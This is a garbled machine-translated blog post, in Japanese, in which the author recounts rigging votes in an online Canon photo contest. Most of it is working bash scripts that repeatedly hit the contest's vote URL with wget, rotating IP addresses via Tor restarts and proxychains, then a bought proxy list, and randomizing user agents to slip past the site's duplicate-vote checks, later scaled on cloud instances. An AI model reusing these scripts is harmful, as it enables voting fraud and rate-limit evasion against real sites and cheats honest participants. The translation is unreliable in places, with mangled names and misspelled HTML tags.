音声ラッピングの理論と実践

免責事項:このテキストは客観的でも、真実でも、正確でもありません。 以下で説明するすべては、賞品や報酬のためではなく、楽しみのためだけに行われました。 スクリプトとそれらの作業のロジックは明らかにコード単位のレベルであり、私はこれを理解し認めています。 コメントは大歓迎です。



2年前、コンテスト「キヤノン:世界のすべての色」に出会いました。 そして、彼はすぐに簡単な投票システムに注目を集めました。登録するかキャプチャを入力する必要はありませんでした。「この作業に投票する」ボタンをクリックするだけです。

実際、2、3枚の写真をアップロードして、実験を始めました。

1)1台のコンピューターから1回投票できます。 しばらくすると、別のブラウザから投票できます。

2)プロキシまたはVPN、または3gを介して接続する場合、再度投票できます。



OK、Tor + Vidaliaを(これもWindowsコンピューター上に)配置します。 Torが起動します-投票できます。 再起動-それは不可能です。 クッキーを殺し、ユーザーエージェントを変更します。これも可能です。 いいね

ページのソースを開き、投票ボタンがある場所を探します。



<frm action="/work/vote" method="post">

<inut type="hidden" name="photo_id" value="1522" />

<inut type="submit" name="vote" value=" " />

</frm>








絶対に簡単です。 ボタンをクリックすると、リクエストkonkurs.photonews.ru/work/vote?photo_id=1522

少なくともwgetを使用して実行できます。

wget -O /dev/null --referer="http://konkurs.photonews.ru/work/show/1522" ttp://konkurs.photonews.ru/work/vote?photo_id=1522







ここで、IPアドレスを自動的に変更する問題を解決する必要があります。 考えるべきことは何もありません。 しかし、ここに問題があります-wgetはsocs5プロキシでは動作しません。 プロキシチェーンプログラムに30分ごとの検索が追加されました



結果は次のようになりました。



LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"

REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"



while true

do

sudo /etc/init.d/tor restart

USERA1='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1)'

proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK

done








カウンターが刻々と過ぎ、声が追加されます。 どうやら、これは私だけでなく、コンテスト管理者にとっても顕著になりました。

ユーザーエージェントによる承認は、1時間あたりの音声に対して、ラッピングレートの急激な低下によって顕著になりました。

これをチャレンジとして受け止めwww.useragentstring.com / pages / useragentstring.phpにアクセスしました。そこから10分で、500kbの異なる識別子で構成されるファイルをダイヤルしました。



変更後、スクリプトは次のようになりました(注意、簡単なコード、および単純な問題に対する奇妙な解決策!):



RANGE=4000

LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"

REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"

cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents



while true

do

sudo /etc/init.d/tor restart

USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`

proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK

done








この方法では、以前に受け取った50票に対してさらに100票を獲得できました。

動作速度が遅いため(トーラスを再起動する時間)、Amazon ec2で5つのインスタンスを実行することに決定しました。マシン時間58時間でさらに150票を獲得し、消滅しました。 Tolleyは一意の出力ノードを使い果たしました。Tolley管理者はtorノードを禁止しましたが、わかりません。



いいね freeproxy.ruで、1000ルーブルのHTTPプロキシのリストが60ルーブルで購入されました。 そして、コードは(もう一度)変更されました:



RANGE=5000

LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"

REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"

c1=1

cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents



while true

do

c1=$(($c1+1))

echo $c1

proxy_c1=`head -n $c1 proxy |tail -n1`

USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`

wget -e http_proxy=$proxy_c1 -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK

done








いくつかのプロキシが死んだ結果のプラグは、wgetを使用して行の最後に「&」を追加し、遅延を導入することで修復されました。 さて、30分後にハングしたプロセスvgetを殺します。 =)



1300パスで数分でさらに500票が得られた後、スクリプトをオフにして、潜んでいます。 午前中、いくつかのテストが開始された後、穴が閉じられていることが明らかになりました。 知りません 正直なところ、私はそれにうんざりしています。



PS:このようなコンテストでの投票は常に2つの要素があります。 私たちは、マークアップから自分自身を守り、低迷(または存在しない)票を獲得するか、ドアを開けて、 たわごとの声を積極的に沸かせます。 しかし、悲しいかな、常に正直ではありません。

そして、運がよければ-明示的なラッピングのために結果をキャンセルするか、作業を削除する必要があります。これは一般のユーザーにも見えます。

PPS:上記のすべては空想の産物です。 ランダムリンク。

PPPS:より適切なブログを教えていただければ嬉しいです。



All Articles